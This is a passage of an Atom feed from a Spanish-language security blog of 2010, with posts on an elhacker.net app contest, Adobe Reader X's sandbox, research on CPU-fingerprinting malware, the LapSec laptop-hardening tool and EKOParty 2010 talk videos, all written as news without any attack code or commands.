/><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-8327580972100170446</id><published>2010-11-24T10:10:00.000-03:00</published><updated>2010-11-24T10:10:41.212-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="elhacker.net" /><title type="text">Comenzó el concurso de aplicaciones de elhacker.net!</title><content type="html">&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_i-43lFP4TnI/TO0MJ8sLXNI/AAAAAAAAAGA/NnOMPq6R-us/s1600/sinttulo1ku.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="83" src="http://2.bp.blogspot.com/_i-43lFP4TnI/TO0MJ8sLXNI/AAAAAAAAAGA/NnOMPq6R-us/s320/sinttulo1ku.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;En el día de ayer comenzó el periodo de entrega en el concurso de aplicaciones de elhacker.net. Tienes una aplicacion y deseas participar? todavía estas a tiempo! visita &lt;a href="http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html"&gt;elhacker.net!&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;Quieres ver algunas de las aplicaciones que se han presentado en el concurso? &lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;JawBreaker&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_i-43lFP4TnI/TO0Nb3HnVyI/AAAAAAAAAGE/NYmifXRW07U/s1600/Ejemplo2.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="200" src="http://3.bp.blogspot.com/_i-43lFP4TnI/TO0Nb3HnVyI/AAAAAAAAAGE/NYmifXRW07U/s200/Ejemplo2.bmp" width="169" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;DLL Genius&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_i-43lFP4TnI/TO0N1XNjbDI/AAAAAAAAAGI/Y4BpjB_knIs/s1600/interfaz.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="263" src="http://4.bp.blogspot.com/_i-43lFP4TnI/TO0N1XNjbDI/AAAAAAAAAGI/Y4BpjB_knIs/s320/interfaz.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;HearBlocdenotas&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_i-43lFP4TnI/TO0OEqmfRHI/AAAAAAAAAGM/IMBK6uFBlzQ/s1600/hear.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="208" src="http://3.bp.blogspot.com/_i-43lFP4TnI/TO0OEqmfRHI/AAAAAAAAAGM/IMBK6uFBlzQ/s320/hear.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;y muchas mas, visita &lt;a href="http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html"&gt;elhacker.net&lt;/a&gt; para ver el resto de las aplicaciones!. &lt;br /&gt;&lt;br /&gt;Para los que quieran participar, recuerden que el periodo de entrega finaliza el día 30/11/2010 para dar comienzo a las votaciones.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1547170927549978957-8327580972100170446?l=www.needofsecurity.com.ar' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.needofsecurity.com.ar/feeds/8327580972100170446/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.needofsecurity.com.ar/2010/11/comenzo-el-concurso-de-aplicaciones-de.html#comment-form" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/8327580972100170446" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/8327580972100170446" /><link rel="alternate" type="text/html" href="http://www.needofsecurity.com.ar/2010/11/comenzo-el-concurso-de-aplicaciones-de.html" title="Comenzó el concurso de aplicaciones de elhacker.net!" /><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_i-43lFP4TnI/TO0MJ8sLXNI/AAAAAAAAAGA/NnOMPq6R-us/s72-c/sinttulo1ku.png" height="72" width="72" /><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-7982904246858396134</id><published>2010-11-22T20:59:00.000-03:00</published><updated>2010-11-22T20:59:37.753-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Seguridad informatica" /><category scheme="http://www.blogger.com/atom/ns#" term="Adobe" /><category scheme="http://www.blogger.com/atom/ns#" term="Reader X" /><title type="text">Adobe publica la versión X de Reader!</title><content type="html">Adobe ha publicado una nueva versión de su amado y odiado lector de pdf. Esta vez no solo para solucionar fallos graves, si no que también para dar un paso importante en materia de seguridad.&lt;br /&gt;&lt;br /&gt;Reader ha sido protagonista de multitud de fallos, algunos graves, otros no tanto, pero sin ninguna duda esta entre los primeros puestos si hablamos de software vulnerable. Ya sean expertos en seguridad, desarrolladores de malware, u simples aficionados, Reader siempre fue uno de los flancos mas débiles y mas explotados de Adobe.&lt;br /&gt;&lt;br /&gt;Como toda empresa en el mundo, desarrollar un producto proclive a tantos fallos o inseguro termina malogrando la imagen de la empresa. El desarrollo de software por supuesto no es una excepción, dado que desarrollar software tan vulnerable y evidenciar poco esfuerzo en intentar remediar la situacion logro que Adobe tenga una imagen muy mala en materia de seguridad.&lt;br /&gt;Por supuesto, toda empresa en algún momento decide cambiar esa imagen o aunque sea hacer algo para intentarlo, y este es el caso de Adobe.&lt;br /&gt;&lt;br /&gt;La característica ya implementada en otras aplicaciones pero novedosa en el Reader es la del modo protegido, basicamente la adicion de una sandbox que aislaría el Reader del resto del sistema evitando así comprometer el sistema en el caso de un intento de explotación. &lt;br /&gt;&lt;br /&gt;Los equipos de Adobe llevan trabajando varios meses junto a los equipos de Microsoft, Google Chrome, entre otros. Gente con experiencia en implementar este tipo de modelos en sus respectivos productos.&lt;br /&gt;&lt;br /&gt;El modo protegido vendrá activado por defecto y como consecuencia lograría que el Reader se ejecute en un entorno con minimos privilegios. Por supuesto esto no detiene los intentos de explotación pero sirve como una linea de defensa mas en pos de evitar comprometer al sistema.&lt;br /&gt;Cualquier acción potencialmente peligrosa será conducida a través de un proceso llamado "Broker" el cual se encargara de filtrar dichas acciones.&lt;br /&gt;&lt;br /&gt;Por supuesto esto no implica que Reader sera invulnerable, pero si lograría dificultar la explotación dado que habría que vulnerar la sandbox, evadir el proceso "Broker" y por supuesto escalar privilegios.&lt;br /&gt;&lt;br /&gt;El modo protegido de Adobe esta basado en el &lt;a href="http://blogs.msdn.com/b/david_leblanc/archive/2007/07/27/practical-windows-sandboxing-part-1.aspx"&gt;modelo de Sandboxing de Microsoft&lt;/a&gt; y ya se habían revelado detalles de su implementación en el &lt;a href="http://blogs.adobe.com/asset/2010/10/inside-adobe-reader-protected-mode-%E2%80%93-part-2-%E2%80%93-the-sandbox-process.html"&gt;blog&lt;/a&gt; de Adobe.&lt;br /&gt;&lt;br /&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_i-43lFP4TnI/TOsCiRj3qzI/AAAAAAAAAF8/aGI8F6xX09s/s1600/Sandbox-Process-Closeup-300x264.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_i-43lFP4TnI/TOsCiRj3qzI/AAAAAAAAAF8/aGI8F6xX09s/s1600/Sandbox-Process-Closeup-300x264.png" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Inside Adobe Reader protected mode&lt;/td&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;El modo protegido de Adobe no es perfecto, y de hecho en algunos análisis ya han remarcado algunas de sus &lt;a href="http://threatpost.com/en_us/blogs/assessing-adobe-reader-x-sandbox-112210"&gt;debilidades&lt;/a&gt; pero definitivamente es un paso importante respecto de las políticas de seguridad de Adobe.&lt;br /&gt;Ojala esto logre aumentar la seguridad de los usuarios de Reader.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Referencias&lt;/b&gt;:&lt;br /&gt;&lt;br /&gt;Adobe Reader X is here!&lt;br /&gt;&lt;a href="http://blogs.adobe.com/asset/2010/11/adobe-reader-x-is-here.html"&gt;http://blogs.adobe.com/asset/2010/11/adobe-reader-x-is-here.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Introducing  Adobe Reader Protected Mode&lt;br /&gt;&lt;a href="http://blogs.adobe.com/asset/2010/07/%20introducing-adobe-reader-protected-mode.html"&gt;http://blogs.adobe.com/asset/2010/07/%20introducing-adobe-reader-protected-mode.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1547170927549978957-7982904246858396134?l=www.needofsecurity.com.ar' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.needofsecurity.com.ar/feeds/7982904246858396134/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.needofsecurity.com.ar/2010/11/adobe-publica-la-version-x-de-reader.html#comment-form" title="1 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/7982904246858396134" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/7982904246858396134" /><link rel="alternate" type="text/html" href="http://www.needofsecurity.com.ar/2010/11/adobe-publica-la-version-x-de-reader.html" title="Adobe publica la versión X de Reader!" /><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_i-43lFP4TnI/TOsCiRj3qzI/AAAAAAAAAF8/aGI8F6xX09s/s72-c/Sandbox-Process-Closeup-300x264.png" height="72" width="72" /><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-6401810219387729688</id><published>2010-11-18T21:27:00.000-03:00</published><updated>2010-11-18T21:27:54.108-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Seguridad informatica" /><category scheme="http://www.blogger.com/atom/ns#" term="malware" /><title type="text">Processor-Dependent Malware</title><content type="html">Anthony Desnos, Robert Erra, and Eric Filiol de &lt;span id="main" style="visibility: visible;"&gt;&lt;span id="search" style="visibility: visible;"&gt;l'&lt;i&gt;Ecole Supérieure d'Informatique Electronique Automatique&lt;/i&gt;&lt;/span&gt;&lt;/span&gt; (&lt;a href="http://www.esiea.fr/"&gt;ESIEA&lt;/a&gt;) desarrollaron una prueba de concepto respecto de malware destinado a hardware especifico.&lt;br /&gt;&lt;br /&gt;En pos de identificar los distintos procesadores, utilizan la aritmetica de coma flotante (FPA) logrando distinguir entre Intel, AMD, SPARC, Atom, Digital Alpha y Cell.&lt;br /&gt;No explota ninguna vulnerabilidad en el hardware, mas bien se basa en características de los mismos y sus diferencias. El malware, a grandes rasgos, identificaría los distintos procesadores al verificar las diferencias que mantienen realizando ciertos cálculos matemáticos. &lt;br /&gt;&lt;br /&gt;Esto vislumbra una posible nueva amenaza en los ataques de espionaje corporativo y la cyberguerra, dado que se pueden identificar grandes cantidades de ordenadores basándose en el hardware que posean, independientemente del sistema operativo que tengan instalado, logrando así atacar en los objetivos deseados y para los cuales el malware esta destinado.&lt;br /&gt;&lt;br /&gt;Por otro lado, tomara tiempo para que este tipo de técnicas se utilicen en el malware destinado a usuarios domésticos, ya que realmente no es necesario. Pero posiblemente sea una nueva amenaza para organizaciones y paises atacados día a día por malware desarrollado con un objetivo muy claro y puntual.&lt;br /&gt;&lt;br /&gt;Por supuesto esta técnica es solo una herramienta mas, que de por si sola no ayuda a identificar completamente un sistema debido a que para ello se necesitan conocer muchos factores. No obstante, puede ser de utilidad para realizar ataques muy específicos.&lt;br /&gt;Por ejemplo, si un malware esta destinado a atacar sola y exclusivamente a equipos Intel, este podria identificar en una instancia final si el hardware es el deseado para luego proseguir con sus metodos propios de ataque:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_i-43lFP4TnI/TOXED8SHtfI/AAAAAAAAAFM/JGknXrfnG9c/s1600/Dibujo.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://4.bp.blogspot.com/_i-43lFP4TnI/TOXED8SHtfI/AAAAAAAAAFM/JGknXrfnG9c/s320/Dibujo.JPG" width="308" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;El paper completo de la investigacion puede encontrarse &lt;a href="http://arxiv.org/PS_cache/arxiv/pdf/1011/1011.1638v1.pdf"&gt;aquí. &lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1547170927549978957-6401810219387729688?l=www.needofsecurity.com.ar' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.needofsecurity.com.ar/feeds/6401810219387729688/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.needofsecurity.com.ar/2010/11/processor-dependent-malware.html#comment-form" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/6401810219387729688" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/6401810219387729688" /><link rel="alternate" type="text/html" href="http://www.needofsecurity.com.ar/2010/11/processor-dependent-malware.html" title="Processor-Dependent Malware" /><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_i-43lFP4TnI/TOXED8SHtfI/AAAAAAAAAFM/JGknXrfnG9c/s72-c/Dibujo.JPG" height="72" width="72" /><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-6095919400170498920</id><published>2010-11-11T14:41:00.000-03:00</published><updated>2010-11-11T14:41:21.904-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="herramientas" /><category scheme="http://www.blogger.com/atom/ns#" term="Lapsec" /><title type="text">Hispasec presenta "Lapsec"</title><content type="html">&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_i-43lFP4TnI/TNwqc20QtOI/AAAAAAAAAFE/FOfSecxpOug/s1600/LapSec.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="208" src="http://3.bp.blogspot.com/_i-43lFP4TnI/TNwqc20QtOI/AAAAAAAAAFE/FOfSecxpOug/s320/LapSec.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;Hispasec ha desarrollado una herramienta destinada a intentar mitigar con un solo click los riesgos más importantes que puede conllevar utilizar un sistema operativo Windows en un portátil. Cada vez que se instala (o se encuentra de serie) un Windows en un ordenador portátil, se deberían realizar los mismos cambios (específicamente útiles para portátiles) para intentar que se mantenga un poco más seguro. Ofrecemos &lt;br /&gt;una herramienta gratuita para automatizar el proceso. &lt;br /&gt;&lt;br /&gt;LapSec viene de "Laptop Securer" y es una herramienta destinada a automatizar los cambios más aconsejables para asegurar Windows en un ordenador portátil. Básicamente, aglutina en un solo botón varias &lt;br /&gt;tareas. No está destinado a asegurar "por completo" un sistema, sino que pretende facilitar las modificaciones más importantes para un "bastionado" de ordenador portátil, mucho más susceptible de ser perdido o sustraído. &lt;br /&gt;&lt;br /&gt;Evidentemente, estas medidas también son útiles para un ordenador de sobremesa. También es importante destacar que hay más medidas de seguridad aplicables a un portátil en particular y Windows &lt;br /&gt;en general, pero que no han sido implementadas en LapSec por resultar medidas más "genéricas" que se salen del objetivo del programa: activar funcionalidades de seguridad Windows especialmente útiles para &lt;br /&gt;portátiles. &lt;br /&gt;&lt;br /&gt;El principal objetivo a la hora de asegurar un portátil es: &lt;br /&gt;a) que nadie acceda al sistema operativo (o al sistema de ficheros)&lt;br /&gt;b) que si accede, la información confidencial esté inaccesible ya sea con cifrado o con borrado seguro. &lt;br /&gt;&lt;br /&gt;Con esos objetivos en mente, estas medidas han sido implementadas en el programa: &lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Eliminar el cifrado LM de las contraseñas (en Vista y 7 no es necesario). &lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Sobrescribir el archivo de memoria paginada (pagefile.sys) &lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Ocultar el nombre del usuario que el Sistema Operativo muestra en la pantalla de presentación &lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Activar la protección por contraseña del salvapantallas. &lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Eliminar la autoejecución de archivos cuando se introducen unidades extraíbles. &lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Comprobar la existencia de contraseña del usuario. &lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Comprobar la complejidad de las contraseñas. &lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Comprueba la activación de la contraseña en la consola de recuperación. &lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Deshabilitar el almacenamiento de contraseñas en el navegador Internet Explorer. &lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Deshabilitar la hibernación (hibernation.sys). &lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Deshabilitar la cuenta de administrador y de invitado del sistema. &lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Cifrado de la carpeta Mis Documentos. &lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Exportación del certificado de forma sencilla para casos de "desastre". &lt;/li&gt;&lt;/ul&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_i-43lFP4TnI/TNwqif61uvI/AAAAAAAAAFI/-Fkc5ODvu14/s1600/LapSecss.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="259" src="http://2.bp.blogspot.com/_i-43lFP4TnI/TNwqif61uvI/AAAAAAAAAFI/-Fkc5ODvu14/s320/LapSecss.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Además de activar estas funcionalidades propias de Windows, añade un sistema de borrado seguro, accesible a través del menú contextual de los archivos. &lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;br /&gt;&lt;br /&gt;Puede ser descargado desde&lt;/span&gt;&lt;br /&gt;&lt;pre&gt;&lt;a href="http://www.hispasec.com/lapsec/" target="_blank"&gt;http://www.hispasec.com/lapsec/&lt;/a&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1547170927549978957-6095919400170498920?l=www.needofsecurity.com.ar' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.needofsecurity.com.ar/feeds/6095919400170498920/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.needofsecurity.com.ar/2010/11/hispasec-presenta-lapsec.html#comment-form" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/6095919400170498920" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/6095919400170498920" /><link rel="alternate" type="text/html" href="http://www.needofsecurity.com.ar/2010/11/hispasec-presenta-lapsec.html" title="Hispasec presenta &quot;Lapsec&quot;" /><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_i-43lFP4TnI/TNwqc20QtOI/AAAAAAAAAFE/FOfSecxpOug/s72-c/LapSec.png" height="72" width="72" /><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-7873350269580218739</id><published>2010-11-07T13:51:00.001-03:00</published><updated>2010-11-23T03:13:13.586-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ekoparty" /><category scheme="http://www.blogger.com/atom/ns#" term="eventos" /><category scheme="http://www.blogger.com/atom/ns#" term="conferencias" /><title type="text">Todas las charlas de la EKOParty 2010 en video!</title><content type="html">&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_i-43lFP4TnI/TNbZFMD6OTI/AAAAAAAAAFA/qYYWYP72l10/s1600/Logo-Ekoparty.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="261" src="http://2.bp.blogspot.com/_i-43lFP4TnI/TNbZFMD6OTI/AAAAAAAAAFA/qYYWYP72l10/s320/Logo-Ekoparty.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Understanding the Win SMB NTLM weak nonce vulnerability&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder="0" height="225" src="http://player.vimeo.com/video/16490415" width="400"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href="http://vimeo.com/16490415"&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Distinguishing Lockpicks: Raking vs Lifting vs Jiggling and More&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder="0" height="225" src="http://player.vimeo.com/video/16510167" width="400"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;WPA Migration Mode: WEP is back to haunt you...&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder="0" height="225" src="http://player.vimeo.com/video/16524952" width="400"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Understanding the Low Fragmentation Heap: From Allocation to Exploitation&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder="0" height="225" src="http://player.vimeo.com/video/16499830" width="400"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href="http://vimeo.com/16499830"&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt;Web Application Security Payloads&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder="0" height="225" src="http://player.vimeo.com/video/16531094" width="400"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href="http://vimeo.com/16531094"&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Network-based detection of PE structural anomalies and linker characteristics&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder="0" height="225" src="http://player.vimeo.com/video/16518609" width="400"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href="http://vimeo.com/16518609"&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt;Atacando VoIP....un paraiso&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder="0" height="225" src="http://player.vimeo.com/video/16520019" width="400"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href="http://vimeo.com/16520019"&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt;2x1 Microsoft Bugs: 'Virtual PC hyper-hole-visor' + 'Windows Creation Vulnerability (MS10-048)' &lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder="0" height="225" src="http://player.vimeo.com/video/16513359" width="400"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Token Kidnapping's Revenge&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder="0" height="225" src="http://player.vimeo.com/video/16502221" width="400"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href="http://vimeo.com/16502221"&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Faraday: A tool to share knowledge&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder="0" height="225" src="http://player.vimeo.com/video/16516987" width="400"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href="http://vimeo.com/16516987"&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt;SAP Backdoors: A ghost at the heart of your business&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder="0" height="225" src="http://player.vimeo.com/video/16526106" width="400"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href="http://vimeo.com/16526106"&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt;Historias de 0days, Disclosing y otras yerbas&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder="0" height="225" src="http://player.vimeo.com/video/16504265" width="400"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href="http://vimeo.com/16504265"&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt;Virtually Pwned: Pentesting VMware&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder="0" height="225" src="http://player.vimeo.com/video/16508845" width="400"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href="http://vimeo.com/16508845"&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt;Pentesting Driven by FOCA&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder="0" height="225" src="http://player.vimeo.com/video/16506099" width="400"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href="http://vimeo.com/16506099"&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Sandboxing based on SECCOMP for Linux kernel&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder="0" height="225" src="http://player.vimeo.com/video/16526998" width="400"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href="http://vimeo.com/16526998"&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt;Exploiting Digital Cameras&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder="0" height="225" src="http://player.vimeo.com/video/16529239" width="400"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Wrong Way,.. a Black Hat True Story&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder="0" height="225" src="http://player.vimeo.com/video/16520777" width="400"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href="http://vimeo.com/16520777"&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt;iPhone Rootkit? There's an App for That!&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder="0" height="225" src="http://player.vimeo.com/video/16515479" width="400"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href="http://vimeo.com/16515479"&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt;Hanging on a ROPe&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder="0" height="225" src="http://player.vimeo.com/video/16530270" 